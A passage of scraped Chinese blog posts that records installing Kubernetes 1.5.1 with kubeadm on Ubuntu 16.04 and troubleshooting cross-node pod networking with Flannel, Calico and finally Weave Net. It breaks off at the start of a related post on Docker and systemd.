Running 0 5m kube-system etcd-iz25beglnhtz 1/1 Running 0 6m kube-system kube-apiserver-iz25beglnhtz 1/1 Running 0 6m kube-system kube-controller-manager-iz25beglnhtz 1/1 Running 0 6m kube-system kube-discovery-1769846148-l5lfw 1/1 Running 0 5m kube-system kube-dns-2924299975-mdq5r 4/4 Running 0 5m kube-system kube-flannel-ds-9zwr1 2/2 Running 0 5m kube-system kube-flannel-ds-p7xh2 2/2 Running 0 1m kube-system kube-proxy-dwt5f 1/1 Running 0 5m kube-system kube-proxy-vm6v2 1/1 Running 0 1m kube-system kube-scheduler-iz25beglnhtz 1/1 Running 0 6m 接下来我们创建my-nginx deployment和service来测试flannel网络的连通性。通过curl my-nginx service的nodeport，发现可以reach master上的两个nginx pod，但是minion node上的pod依旧不通。\n在master上看flannel docker的日志：\nI1228 02:52:22.097083 1 network.go:225] L3 miss: 10.244.1.2 I1228 02:52:22.097169 1 device.go:191] calling NeighSet: 10.244.1.2, 46:6c:7a:a6:06:60 I1228 02:52:22.097335 1 network.go:236] AddL3 succeeded I1228 02:52:55.169952 1 network.go:220] Ignoring not a miss: 46:6c:7a:a6:06:60, 10.244.1.2 I1228 02:53:00.801901 1 network.go:220] Ignoring not a miss: 46:6c:7a:a6:06:60, 10.244.1.2 I1228 02:53:03.801923 1 network.go:220] Ignoring not a miss: 46:6c:7a:a6:06:60, 10.244.1.2 I1228 02:53:04.801764 1 network.go:220] Ignoring not a miss: 46:6c:7a:a6:06:60, 10.244.1.2 I1228 02:53:05.801848 1 network.go:220] Ignoring not a miss: 46:6c:7a:a6:06:60, 10.244.1.2 I1228 02:53:06.888269 1 network.go:225] L3 miss: 10.244.1.2 I1228 02:53:06.888340 1 device.go:191] calling NeighSet: 10.244.1.2, 46:6c:7a:a6:06:60 I1228 02:53:06.888507 1 network.go:236] AddL3 succeeded I1228 02:53:39.969791 1 network.go:220] Ignoring not a miss: 46:6c:7a:a6:06:60, 10.244.1.2 I1228 02:53:45.153770 1 network.go:220] Ignoring not a miss: 46:6c:7a:a6:06:60, 10.244.1.2 I1228 02:53:48.154822 1 network.go:220] Ignoring not a miss: 46:6c:7a:a6:06:60, 10.244.1.2 I1228 02:53:49.153774 1 network.go:220] Ignoring not a miss: 46:6c:7a:a6:06:60, 10.244.1.2 I1228 02:53:50.153734 1 network.go:220] Ignoring not a miss: 46:6c:7a:a6:06:60, 10.244.1.2 I1228 02:53:52.154056 1 network.go:225] L3 miss: 10.244.1.2 I1228 02:53:52.154110 1 device.go:191] calling NeighSet: 10.244.1.2, 46:6c:7a:a6:06:60 I1228 02:53:52.154256 1 network.go:236] AddL3 succeeded 日志中有大量：“Ignoring not a miss”字样的日志，似乎vxlan网络有问题。这个问题与下面issue中描述颇为接近：\nhttps://github.com/coreos/flannel/issues/427\nFlannel默认采用vxlan作为backend，使用kernel vxlan默认的udp 8742端口。Flannel还支持udp的backend，使用udp 8285端口。于是试着更换一下flannel后端。更换flannel后端的步骤如下：\n将https://raw.githubusercontent.com/coreos/flannel/master/Documentation/kube-flannel.yml文件下载到本地;\n修改kube-flannel.yml文件内容：主要是针对net-conf.json属性，增加”Backend”字段属性：\nkind: ConfigMap apiVersion: v1 metadata: name: kube-flannel-cfg namespace: kube-system labels: tier: node app: flannel data: cni-conf.json: | { \u0026ldquo;name\u0026rdquo;: \u0026ldquo;cbr0\u0026rdquo;, \u0026ldquo;type\u0026rdquo;: \u0026ldquo;flannel\u0026rdquo;, \u0026ldquo;delegate\u0026rdquo;: { \u0026ldquo;isDefaultGateway\u0026rdquo;: true } } net-conf.json: | { \u0026ldquo;Network\u0026rdquo;: \u0026ldquo;10.244.0.0/16\u0026rdquo;, \u0026ldquo;Backend\u0026rdquo;: { \u0026ldquo;Type\u0026rdquo;: \u0026ldquo;udp\u0026rdquo;, \u0026ldquo;Port\u0026rdquo;: 8285 } } \u0026hellip; \u0026hellip;\n卸载并重新安装pod网络\nkubectl delete -f kube-flannel.yml configmap \u0026ldquo;kube-flannel-cfg\u0026rdquo; deleted daemonset \u0026ldquo;kube-flannel-ds\u0026rdquo; deleted\nkubectl apply -f kube-flannel.yml configmap \u0026ldquo;kube-flannel-cfg\u0026rdquo; created daemonset \u0026ldquo;kube-flannel-ds\u0026rdquo; created\nnetstat -an|grep 8285 udp 0 0 123.56.200.187:8285 0.0.0.0:*\n经过测试发现：udp端口是通的。在两个node上tcpdump -i flannel0 可以看到udp数据包的发送和接收。但是两个node间的pod network依旧不通。\n6、failed to register network: failed to acquire lease: node “iz25beglnhtz” not found 正常情况下master node和minion node上的flannel pod的启动日志如下：\nmaster node flannel的运行:\nI1227 04:56:16.577828 1 main.go:132] Installing signal handlers I1227 04:56:16.578060 1 kube.go:233] starting kube subnet manager I1227 04:56:16.578064 1 manager.go:133] Determining IP address of default interface I1227 04:56:16.578576 1 manager.go:163] Using 123.56.200.187 as external interface I1227 04:56:16.578616 1 manager.go:164] Using 123.56.200.187 as external endpoint E1227 04:56:16.579079 1 network.go:106] failed to register network: failed to acquire lease: node \u0026quot;iz25beglnhtz\u0026quot; not found I1227 04:56:17.583744 1 ipmasq.go:47] Adding iptables rule: -s 10.244.0.0/16 -d 10.244.0.0/16 -j RETURN I1227 04:56:17.585367 1 ipmasq.go:47] Adding iptables rule: -s 10.244.0.0/16 ! -d 224.0.0.0/4 -j MASQUERADE I1227 04:56:17.587765 1 ipmasq.go:47] Adding iptables rule: ! -s 10.244.0.0/16 -d 10.244.0.0/16 -j MASQUERADE I1227 04:56:17.589943 1 manager.go:246] Lease acquired: 10.244.0.0/24 I1227 04:56:17.590203 1 network.go:58] Watching for L3 misses I1227 04:56:17.590255 1 network.go:66] Watching for new subnet leases I1227 07:43:27.164103 1 network.go:153] Handling initial subnet events I1227 07:43:27.164211 1 device.go:163] calling GetL2List() dev.link.Index: 5 I1227 07:43:27.164350 1 device.go:168] calling NeighAdd: 59.110.67.15, ca:50:97:1f:c2:ea minion node上flannel的运行：\n# docker logs 1f64bd9c0386 I1227 07:43:26.670620 1 main.go:132] Installing signal handlers I1227 07:43:26.671006 1 manager.go:133] Determining IP address of default interface I1227 07:43:26.670825 1 kube.go:233] starting kube subnet manager I1227 07:43:26.671514 1 manager.go:163] Using 59.110.67.15 as external interface I1227 07:43:26.671575 1 manager.go:164] Using 59.110.67.15 as external endpoint I1227 07:43:26.746811 1 ipmasq.go:47] Adding iptables rule: -s 10.244.0.0/16 -d 10.244.0.0/16 -j RETURN I1227 07:43:26.749785 1 ipmasq.go:47] Adding iptables rule: -s 10.244.0.0/16 ! -d 224.0.0.0/4 -j MASQUERADE I1227 07:43:26.752343 1 ipmasq.go:47] Adding iptables rule: ! -s 10.244.0.0/16 -d 10.244.0.0/16 -j MASQUERADE I1227 07:43:26.755126 1 manager.go:246] Lease acquired: 10.244.1.0/24 I1227 07:43:26.755444 1 network.go:58] Watching for L3 misses I1227 07:43:26.755475 1 network.go:66] Watching for new subnet leases I1227 07:43:27.755830 1 network.go:153] Handling initial subnet events I1227 07:43:27.755905 1 device.go:163] calling GetL2List() dev.link.Index: 10 I1227 07:43:27.756099 1 device.go:168] calling NeighAdd: 123.56.200.187, ca:68:7c:9b:cc:67 但在进行上面问题5的测试过程中，我们发现flannel container的启动日志中有如下错误：\nmaster node:\n# docker logs c2d1cee3df3d I1228 06:53:52.502571 1 main.go:132] Installing signal handlers I1228 06:53:52.502735 1 manager.go:133] Determining IP address of default interface I1228 06:53:52.503031 1 manager.go:163] Using 123.56.200.187 as external interface I1228 06:53:52.503054 1 manager.go:164] Using 123.56.200.187 as external endpoint E1228 06:53:52.503869 1 network.go:106] failed to register network: failed to acquire lease: node \u0026quot;iz25beglnhtz\u0026quot; not found I1228 06:53:52.503899 1 kube.go:233] starting kube subnet manager I1228 06:53:53.522892 1 ipmasq.go:47] Adding iptables rule: -s 10.244.0.0/16 -d 10.244.0.0/16 -j RETURN I1228 06:53:53.524325 1 ipmasq.go:47] Adding iptables rule: -s 10.244.0.0/16 ! -d 224.0.0.0/4 -j MASQUERADE I1228 06:53:53.526622 1 ipmasq.go:47] Adding iptables rule: ! -s 10.244.0.0/16 -d 10.244.0.0/16 -j MASQUERADE I1228 06:53:53.528438 1 manager.go:246] Lease acquired: 10.244.0.0/24 I1228 06:53:53.528744 1 network.go:58] Watching for L3 misses I1228 06:53:53.528777 1 network.go:66] Watching for new subnet leases minion node:\n# docker logs dcbfef45308b I1228 05:28:05.012530 1 main.go:132] Installing signal handlers I1228 05:28:05.012747 1 manager.go:133] Determining IP address of default interface I1228 05:28:05.013011 1 manager.go:163] Using 59.110.67.15 as external interface I1228 05:28:05.013031 1 manager.go:164] Using 59.110.67.15 as external endpoint E1228 05:28:05.013204 1 network.go:106] failed to register network: failed to acquire lease: node \u0026quot;iz2ze39jeyizepdxhwqci6z\u0026quot; not found I1228 05:28:05.013237 1 kube.go:233] starting kube subnet manager I1228 05:28:06.041602 1 ipmasq.go:47] Adding iptables rule: -s 10.244.0.0/16 -d 10.244.0.0/16 -j RETURN I1228 05:28:06.042863 1 ipmasq.go:47] Adding iptables rule: -s 10.244.0.0/16 ! -d 224.0.0.0/4 -j MASQUERADE I1228 05:28:06.044896 1 ipmasq.go:47] Adding iptables rule: ! -s 10.244.0.0/16 -d 10.244.0.0/16 -j MASQUERADE I1228 05:28:06.046497 1 manager.go:246] Lease acquired: 10.244.1.0/24 I1228 05:28:06.046780 1 network.go:98] Watching for new subnet leases I1228 05:28:07.047052 1 network.go:191] Subnet added: 10.244.0.0/24 两个Node都有“注册网络”失败的错误：failed to register network: failed to acquire lease: node “xxxx” not found。很难断定是否是因为这两个错误导致的两个node间的网络不通。从整个测试过程来看，这个问题时有时无。在下面flannel issue中也有类似的问题讨论：\nhttps://github.com/coreos/flannel/issues/435\nFlannel pod network的诸多问题让我决定暂时放弃在kubeadm创建的kubernetes cluster中继续使用Flannel。\n四、Calico pod network Kubernetes支持的pod network add-ons中，除了Flannel，还有calico、Weave net等。这里我们试试基于边界网关BGP协议实现的Calico pod network。Calico Project针对在kubeadm建立的K8s集群的Pod网络安装也有专门的文档。文档中描述的需求和约束我们均满足，比如：\nmaster node带有kubeadm.alpha.kubernetes.io/role: master标签：\n# kubectl get nodes -o wide --show-labels NAME STATUS AGE EXTERNAL-IP LABELS iz25beglnhtz Ready,master 3m \u0026lt;none\u0026gt; beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,kubeadm.alpha.kubernetes.io/role=master,kubernetes.io/hostname=iz25beglnhtz 在安装calico之前，我们还是要执行kubeadm reset重置环境，并将flannel创建的各种网络设备删除，可参考上面几个小节中的命令。\n1、初始化集群 使用calico的kubeadm init无需再指定–pod-network-cidr=10.244.0.0/16 option：\n# kubeadm init --api-advertise-addresses=10.47.217.91 [kubeadm] WARNING: kubeadm is in alpha, please do not use it for production clusters. [preflight] Running pre-flight checks [preflight] Starting the kubelet service [init] Using Kubernetes version: v1.5.1 [tokens] Generated token: \u0026quot;531b3f.3bd900d61b78d6c9\u0026quot; [certificates] Generated Certificate Authority key and certificate. [certificates] Generated API Server key and certificate [certificates] Generated Service Account signing keys [certificates] Created keys and certificates in \u0026quot;/etc/kubernetes/pki\u0026quot; [kubeconfig] Wrote KubeConfig file to disk: \u0026quot;/etc/kubernetes/kubelet.conf\u0026quot; [kubeconfig] Wrote KubeConfig file to disk: \u0026quot;/etc/kubernetes/admin.conf\u0026quot; [apiclient] Created API client, waiting for the control plane to become ready [apiclient] All control plane components are healthy after 13.527323 seconds [apiclient] Waiting for at least one node to register and become ready [apiclient] First node is ready after 0.503814 seconds [apiclient] Creating a test deployment [apiclient] Test deployment succeeded [token-discovery] Created the kube-discovery deployment, waiting for it to become ready [token-discovery] kube-discovery is ready after 1.503644 seconds [addons] Created essential addon: kube-proxy [addons] Created essential addon: kube-dns Your Kubernetes master has initialized successfully! You should now deploy a pod network to the cluster. Run \u0026quot;kubectl apply -f [podnetwork].yaml\u0026quot; with one of the options listed at: http://kubernetes.io/docs/admin/addons/ You can now join any number of machines by running the following on each node: kubeadm join --token=531b3f.3bd900d61b78d6c9 10.47.217.91 2、创建calico network # kubectl apply -f http://docs.projectcalico.org/v2.0/getting-started/kubernetes/installation/hosted/kubeadm/calico.yaml configmap \u0026quot;calico-config\u0026quot; created daemonset \u0026quot;calico-etcd\u0026quot; created service \u0026quot;calico-etcd\u0026quot; created daemonset \u0026quot;calico-node\u0026quot; created deployment \u0026quot;calico-policy-controller\u0026quot; created job \u0026quot;configure-calico\u0026quot; created 实际创建过程需要一段时间，因为calico需要pull 一些images：\n# docker images REPOSITORY TAG IMAGE ID CREATED SIZE quay.io/calico/node v1.0.0 74bff066bc6a 7 days ago 256.4 MB calico/ctl v1.0.0 069830246cf3 8 days ago 43.35 MB calico/cni v1.5.5 ada87b3276f3 12 days ago 67.13 MB gcr.io/google_containers/etcd 2.2.1 a6cd91debed1 14 months ago 28.19 MB calico在master node本地创建了两个network device：\n# ip a ... ... 47: tunl0@NONE: \u0026lt;NOARP,UP,LOWER_UP\u0026gt; mtu 1440 qdisc noqueue state UNKNOWN group default qlen 1 link/ipip 0.0.0.0 brd 0.0.0.0 inet 192.168.91.0/32 scope global tunl0 valid_lft forever preferred_lft forever 48: califa32a09679f@if4: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1500 qdisc noqueue state UP group default link/ether 62:39:10:55:44:c8 brd ff:ff:ff:ff:ff:ff link-netnsid 0 3、minion node join 执行下面命令，将minion node加入cluster：\n# kubeadm join --token=531b3f.3bd900d61b78d6c9 10.47.217.91 calico在minion node上也创建了一个network device:\n57988: tunl0@NONE: \u0026lt;NOARP,UP,LOWER_UP\u0026gt; mtu 1440 qdisc noqueue state UNKNOWN group default qlen 1 link/ipip 0.0.0.0 brd 0.0.0.0 inet 192.168.136.192/32 scope global tunl0 valid_lft forever preferred_lft forever join成功后，我们查看一下cluster status：\n# kubectl get pods --all-namespaces -o wide NAMESPACE NAME READY STATUS RESTARTS AGE IP NODE kube-system calico-etcd-488qd 1/1 Running 0 18m 10.47.217.91 iz25beglnhtz kube-system calico-node-jcb3c 2/2 Running 0 18m 10.47.217.91 iz25beglnhtz kube-system calico-node-zthzp 2/2 Running 0 4m 10.28.61.30 iz2ze39jeyizepdxhwqci6z kube-system calico-policy-controller-807063459-f21q4 1/1 Running 0 18m 10.47.217.91 iz25beglnhtz kube-system dummy-2088944543-rtsfk 1/1 Running 0 23m 10.47.217.91 iz25beglnhtz kube-system etcd-iz25beglnhtz 1/1 Running 0 23m 10.47.217.91 iz25beglnhtz kube-system kube-apiserver-iz25beglnhtz 1/1 Running 0 23m 10.47.217.91 iz25beglnhtz kube-system kube-controller-manager-iz25beglnhtz 1/1 Running 0 23m 10.47.217.91 iz25beglnhtz kube-system kube-discovery-1769846148-51wdk 1/1 Running 0 23m 10.47.217.91 iz25beglnhtz kube-system kube-dns-2924299975-fhf5f 4/4 Running 0 23m 192.168.91.1 iz25beglnhtz kube-system kube-proxy-2s7qc 1/1 Running 0 4m 10.28.61.30 iz2ze39jeyizepdxhwqci6z kube-system kube-proxy-h2qds 1/1 Running 0 23m 10.47.217.91 iz25beglnhtz kube-system kube-scheduler-iz25beglnhtz 1/1 Running 0 23m 10.47.217.91 iz25beglnhtz 所有组件都是ok的。似乎是好兆头！但跨node的pod network是否联通，还需进一步探究。\n4、探究跨node的pod network联通性 我们依旧利用上面测试flannel网络的my-nginx-svc.yaml和run-my-nginx.yaml，创建my-nginx service和my-nginx deployment。注意：这之前要先在master node上执行一下”kubectl taint nodes –all dedicated-”，以让master node承载work load。\n遗憾的是，结果和flannel很相似，分配到master node上http request得到了nginx的响应；minion node上的pod依旧无法联通。\n这次我不想在calico这块过多耽搁，我要快速看看下一个候选者：weave net是否满足要求。\n由于wordpress莫名其妙的问题，导致这篇文章无法发布完整，因此将其拆分为两个部分，本文为第一部分，第二部分请移步这里阅读。 ","permalink":"https://tonybai.com/2016/12/30/install-kubernetes-on-ubuntu-with-kubeadm/","summary":"\u003cp\u003e在《\u003ca href=\"http://tonybai.com/2016/12/27/when-docker-meets-systemd/\"\u003e当Docker遇到systemd\u003c/a\u003e》一文中，我提到过这两天儿一直在做的一个task：使用\u003ca href=\"http://kubernetes.io/docs/admin/kubeadm/\"\u003ekubeadm\u003c/a\u003e在\u003ca href=\"http://tonybai.com/tag/ubuntu\"\u003eUbuntu 16.04\u003c/a\u003e上安装部署\u003ca href=\"http://kubernetes.io/\"\u003eKubernetes\u003c/a\u003e的最新发布版本-\u003ca href=\"http://blog.kubernetes.io/2016/12/kubernetes-1.5-supporting-production-workloads.html\"\u003ek8s 1.5.1\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e年中，Docker宣布在Docker engine中集成swarmkit工具包，这一announcement在轻量级容器界引发轩然大波。毕竟开发者是懒惰的^0^，有了docker swarmkit，驱动developer去安装其他容器编排工具的动力在哪里呢？即便docker engine还不是当年那个被人们高频使用的IE浏览器。作为针对Docker公司这一市场行为的回应，容器集群管理和服务编排领先者Kubernetes在三个月后发布了\u003ca href=\"http://blog.kubernetes.io/2016/09/kubernetes-1.4-making-it-easy-to-run-on-kuberentes-anywhere.html\"\u003eKubernetes1.4.0版本\u003c/a\u003e。在这个版本中K8s新增了kubeadm工具。kubeadm的使用方式有点像集成在\u003ca href=\"http://tonybai.com/tag/docker\"\u003edocker engine\u003c/a\u003e中的\u003ca href=\"http://tonybai.com/2016/10/11/some-problems-under-swarm-mode-in-docker-1-12\"\u003eswarm kit工具\u003c/a\u003e，旨在改善开发者在安装、调试和使用k8s时的体验，降低安装和使用门槛。理论上通过两个命令：init和join即可搭建出一套完整的Kubernetes cluster。\u003c/p\u003e","title":"使用Kubeadm安装Kubernetes"},{"content":"此文为《使用Kubeadm安装Kubernetes》的第二部分。文章第一部分在这里可以看到。\n五、weave network for pod 经过上面那么多次尝试，结果是令人扫兴的。Weave network似乎是最后一颗救命稻草了。有了前面的铺垫，这里就不详细列出各种命令的输出细节了。Weave network也有专门的官方文档用于指导如何与kubernetes集群集成，我们主要也是参考它。\n1、安装weave network add-on 在kubeadm reset后，我们重新初始化了集群。接下来我们安装weave network add-on：\n# kubectl apply -f https://git.io/weave-kube daemonset \u0026quot;weave-net\u0026quot; created 前面无论是Flannel还是calico，在安装pod network add-on时至少都还是顺利的。不过在Weave network这次，我们遭遇“当头棒喝”:(:\n# kubectl get pod --all-namespaces -o wide NAMESPACE NAME READY STATUS RESTARTS AGE IP NODE kube-system dummy-2088944543-4kxtk 1/1 Running 0 42m 10.47.217.91 iz25beglnhtz kube-system etcd-iz25beglnhtz 1/1 Running 0 42m 10.47.217.91 iz25beglnhtz kube-system kube-apiserver-iz25beglnhtz 1/1 Running 0 42m 10.47.217.91 iz25beglnhtz kube-system kube-controller-manager-iz25beglnhtz 1/1 Running 0 42m 10.47.217.91 iz25beglnhtz kube-system kube-discovery-1769846148-pzv8p 1/1 Running 0 42m 10.47.217.91 iz25beglnhtz kube-system kube-dns-2924299975-09dcb 0/4 ContainerCreating 0 42m \u0026lt;none\u0026gt; iz25beglnhtz kube-system kube-proxy-z465f 1/1 Running 0 42m 10.47.217.91 iz25beglnhtz kube-system kube-scheduler-iz25beglnhtz 1/1 Running 0 42m 10.47.217.91 iz25beglnhtz kube-system weave-net-3wk9h 0/2 CrashLoopBackOff 16 17m 10.47.217.91 iz25beglnhtz 安装后，weave-net pod提示:CrashLoopBackOff。追踪其Container log，得到如下错误信息：\n# docker logs cde899efa0af time=\u0026quot;2016-12-28T08:25:29Z\u0026quot; level=info msg=\u0026quot;Starting Weaveworks NPC 1.8.2\u0026quot; time=\u0026quot;2016-12-28T08:25:29Z\u0026quot; level=info msg=\u0026quot;Serving /metrics on :6781\u0026quot; Wed Dec 28 08:25:29 2016 \u0026lt;5\u0026gt; ulogd.c:843 building new pluginstance stack: 'log1:NFLOG,base1:BASE,pcap1:PCAP' time=\u0026quot;2016-12-28T08:25:29Z\u0026quot; level=fatal msg=\u0026quot;ipset [destroy] failed: ipset v6.29: Set cannot be destroyed: it is in use by a kernel component\\n: exit status 1\u0026quot; 2、解决ipset destroy错误 从上述的错误日志来看，似乎某些内核组件占用了一些IP资源，没有释放。ipset(administration tool for IP sets)这个工具以前从来没有接触过。在node上利用apt-get install 一个ipset工具，手工执行以下命令：\n# ipset destroy ipset v6.29: Set cannot be destroyed: it is in use by a kernel component 这个错误输出与container中的error log一模一样。试着用ipset看看哪些ip资源没有释放，这一招让我们看到了蛛丝马迹：\n在minion node上执行：\n# ipset list Name: felix-calico-hosts-4 Type: hash:ip Revision: 4 Header: family inet hashsize 1024 maxelem 1048576 Size in memory: 224 References: 1 Members: 123.56.200.187 59.110.67.15 Name: felix-all-ipam-pools Type: hash:net Revision: 6 Header: family inet hashsize 1024 maxelem 1048576 Size in memory: 448 References: 1 Members: 192.168.0.0/16 Name: felix-masq-ipam-pools Type: hash:net Revision: 6 Header: family inet hashsize 1024 maxelem 1048576 Size in memory: 448 References: 1 Members: 192.168.0.0/16 我们看到了calico字样。原来是calico的“残留势力”在作祟啊。进一步我们发现calico创建的一个network device依旧存在于两个Node上：\n47: tunl0@NONE: \u0026lt;NOARP,UP,LOWER_UP\u0026gt; mtu 1440 qdisc noqueue state UNKNOWN group default qlen 1 link/ipip 0.0.0.0 brd 0.0.0.0 inet 192.168.91.0/32 scope global tunl0 valid_lft forever preferred_lft forever 我们试图删除它，但最终都以失败告终：\n# ip tunnel show tunl0: ip/ip remote any local any ttl inherit nopmtudisc #ip tunnel del tunl0 delete tunnel \u0026quot;tunl0\u0026quot; failed: Operation not permitted 无奈只能把它down掉：\n#ip -f inet addr delete 192.168.91.0/32 dev tunl0 47: tunl0@NONE: \u0026lt;NOARP,UP,LOWER_UP\u0026gt; mtu 1440 qdisc noqueue state UNKNOWN group default qlen 1 link/ipip 0.0.0.0 brd 0.0.0.0 # ifconfig tunl0 down 47: tunl0@NONE: \u0026lt;NOARP\u0026gt; mtu 1440 qdisc noqueue state DOWN group default qlen 1 link/ipip 0.0.0.0 brd 0.0.0.0 但依旧无法删除它。我们通过ipset del命令将上面ipset占用的ip entry逐个删除掉（比如ipset del felix-calico-hosts-4 123.56.200.187）。但即便全部清空，ipset destroy依然失败。\n无奈之下，决定重启一下两个Node试试。重启后，calico创建的这个tunnel居然消失了。\n3、再遇路由冲突错误 重启ECS实例后，我们重新从头来创建cluster。不过在执行“kubectl apply -f https://git.io/weave-kube” 后我们发现weave-net pod依旧没有起来，这次的错误是“路有冲突”：\n#docker logs 80383071f721 Network 10.32.0.0/12 overlaps with existing route 10.0.0.0/8 on host. 查看当前路由表：\nnetstat -rn Kernel IP routing table Destination Gateway Genmask Flags MSS Window irtt Iface 0.0.0.0 123.56.203.247 0.0.0.0 UG 0 0 0 eth1 10.0.0.0 10.47.223.247 255.0.0.0 UG 0 0 0 eth0 10.47.216.0 0.0.0.0 255.255.248.0 U 0 0 0 eth0 100.64.0.0 10.47.223.247 255.192.0.0 UG 0 0 0 eth0 123.56.200.0 0.0.0.0 255.255.252.0 U 0 0 0 eth1 172.16.0.0 10.47.223.247 255.240.0.0 UG 0 0 0 eth0 192.168.0.0 0.0.0.0 255.255.240.0 U 0 0 0 docker0 的确weave-net默认要使用的 10.32.0.0/12与 10.0.0.0/8 存在交集。对此，weave net官方是给出解决方案了的。\n我们先将https://git.io/weave-kube对应的yaml文件下载到本地：weave-daemonset.yaml。修改该文件，为container增加IPALLOC_RANGE环境变量：\ncontainers: - name: weave env: - name: IPALLOC_RANGE value: 172.30.0.0/16 更新weave net pod：\n# kubectl delete -f weave-daemonset.yaml daemonset \u0026quot;weave-net\u0026quot; deleted # kubectl apply -f weave-daemonset.yaml daemonset \u0026quot;weave-net\u0026quot; created 不过依然存在路有冲突。原来路由表里已经存在了一条这样的路由：\n172.16.0.0 10.28.63.247 255.240.0.0 UG 0 0 0 eth0 这条路由应该没有什么用，也许是之前折腾时被某个network addon加进去的。于是用route命令将其删除：\n# route del -net 172.16.0.0 netmask 255.240.0.0 gw 10.28.63.247 再次更新weave net pod并查看cluster status：\n# kubectl delete -f weave-daemonset.yaml daemonset \u0026quot;weave-net\u0026quot; deleted # kubectl apply -f weave-daemonset.yaml daemonset \u0026quot;weave-net\u0026quot; created # kubectl get pods --all-namespaces -o wide NAMESPACE NAME READY STATUS RESTARTS AGE IP NODE kube-system dummy-2088944543-93f4c 1/1 Running 0 21m 10.47.217.91 iz25beglnhtz kube-system etcd-iz25beglnhtz 1/1 Running 0 21m 10.47.217.91 iz25beglnhtz kube-system kube-apiserver-iz25beglnhtz 1/1 Running 0 20m 10.47.217.91 iz25beglnhtz kube-system kube-controller-manager-iz25beglnhtz 1/1 Running 0 21m 10.47.217.91 iz25beglnhtz kube-system kube-discovery-1769846148-wbc7h 1/1 Running 0 21m 10.47.217.91 iz25beglnhtz kube-system kube-dns-2924299975-206tg 4/4 Running 0 21m 172.30.0.2 iz25beglnhtz kube-system kube-proxy-n2xmf 1/1 Running 0 21m 10.47.217.91 iz25beglnhtz kube-system kube-scheduler-iz25beglnhtz 1/1 Running 0 20m 10.47.217.91 iz25beglnhtz kube-system weave-net-h38k5 2/2 Running 0 18s 10.47.217.91 iz25beglnhtz 这回weave-net pod running了。taint master node并且minion node join后cluster依旧是ok的：\n# kubectl get pods --all-namespaces -o wide NAMESPACE NAME READY STATUS RESTARTS AGE IP NODE kube-system dummy-2088944543-93f4c 1/1 Running 0 23m 10.47.217.91 iz25beglnhtz kube-system etcd-iz25beglnhtz 1/1 Running 0 23m 10.47.217.91 iz25beglnhtz kube-system kube-apiserver-iz25beglnhtz 1/1 Running 0 22m 10.47.217.91 iz25beglnhtz kube-system kube-controller-manager-iz25beglnhtz 1/1 Running 0 23m 10.47.217.91 iz25beglnhtz kube-system kube-discovery-1769846148-wbc7h 1/1 Running 0 23m 10.47.217.91 iz25beglnhtz kube-system kube-dns-2924299975-206tg 4/4 Running 0 23m 172.30.0.2 iz25beglnhtz kube-system kube-proxy-377zh 1/1 Running 0 8s 10.28.61.30 iz2ze39jeyizepdxhwqci6z kube-system kube-proxy-n2xmf 1/1 Running 0 23m 10.47.217.91 iz25beglnhtz kube-system kube-scheduler-iz25beglnhtz 1/1 Running 0 22m 10.47.217.91 iz25beglnhtz kube-system weave-net-9tf1d 2/2 Running 0 8s 10.28.61.30 iz2ze39jeyizepdxhwqci6z kube-system weave-net-h38k5 2/2 Running 0 2m 10.47.217.91 iz25beglnhtz 4、测试weave net跨节点pod连通性 这回我们依旧启动my-nginx service，在任意一个节点curl localhost:30062，我们发现被调度到minion node上的my-nginx container也收到了request并成功回复response：\n172.30.0.1 - - [30/Dec/2016:03:14:47 +0000] \u0026quot;GET / HTTP/1.1\u0026quot; 200 612 \u0026quot;-\u0026quot; \u0026quot;curl/7.47.0\u0026quot; \u0026quot;-\u0026quot; Weave net初步测试ok！\n六、小结 虽然过程坎坷，但最终在Weave net的帮助下，我们还是初步调通了一个使用kubeadm安装的kubernetes cluster。后来我发现，在K8s官方博客中有一篇名为《Kubernetes: How we made Kubernetes insanely easy to install》的文章，其使用的pod network add-on也是weave network。\n这是一个试验环境。后续我们还是要进一步探究如何用上Flannel的。同时，Kubernetes 1.5带来的诸多新特性，比如：Master HA等还需要进一步试验证明。\n为了满足我们的production环境要求，之前实践的Ceph RBD为K8s提供存储卷、k8s从private registry拉取image、k8s集群的安全配置等还要在新集群上进一步试验，直到满足我们的要求。\n","permalink":"https://tonybai.com/2016/12/30/install-kubernetes-on-ubuntu-with-kubeadm-2/","summary":"\u003cp\u003e此文为《使用Kubeadm安装Kubernetes》的第二部分。文章第一部分在\u003ca href=\"http://tonybai.com/2016/12/30/install-kubernetes-on-ubuntu-with-kubeadm/\"\u003e这里\u003c/a\u003e可以看到。\u003c/p\u003e\n\u003ch3 id=\"五weave-network-for-pod\"\u003e五、weave network for pod\u003c/h3\u003e\n\u003cp\u003e经过上面那么多次尝试，结果是令人扫兴的。Weave network似乎是最后一颗救命稻草了。有了前面的铺垫，这里就不详细列出各种命令的输出细节了。Weave network也有\u003ca href=\"https://www.weave.works/docs/net/latest/kube-addon/\"\u003e专门的官方文档\u003c/a\u003e用于指导如何与kubernetes集群集成，我们主要也是参考它。\u003c/p\u003e","title":"使用Kubeadm安装Kubernetes-Part2"},{"content":"近期在做Kubernetes集群的升级的相关试验，即从原先的K8s 1.3.7版本升级到最新的K8s 1.5.1版本。k8s自1.4版本开始引入kubeadm，试图简化K8s的安装和使用门槛，提升开发者体验。但kubeadm仅支持16.04及以上的Ubuntu版本，于是我们在升级K8s集群前会遇到另外一个问题：Ubuntu 16.04已经由Upstart初始化系统换成了systemd初始化系统，Ubuntu 16.04上的Docker engine的使用和配置方法与以前在Ubuntu 14.04上将有所不同。Docker是K8s支持的容器引擎之一，也是目前最主流的容器引擎，弄清楚Docker的配置和使用也是后续用好K8s的前提之一。于是这里打算记录一下Docker与Systemd是如何相生共存的^0^。\n一、Ubuntu 16.04安装Docker Aliyun目前上没有提供官方Ubuntu 16.04 ECS，最高仅支持到Ubuntu 14.04.4。因此在Aliyun ECS上用16.04需要手工upgrade到16.04（不过建议在upgrade前做个snapshot，一旦upgrade失败，好恢复）。升级后的Ubuntu环境信息如下：\nUbuntu 16.04.1 LTS (GNU/Linux 4.4.0-58-generic x86_64) kubeadm文档中认为Docker 1.11.2版本与之更配哟，不过对于更新的版本似乎配合起来也没有什么大问题。我们这里安装目前可以找到的最新stable release: docker 1.12.5：\n# docker version Client: Version: 1.12.5 API version: 1.24 Go version: go1.6.4 Git commit: 7392c3b Built: Fri Dec 16 02:42:17 2016 OS/Arch: linux/amd64 Server: Version: 1.12.5 API version: 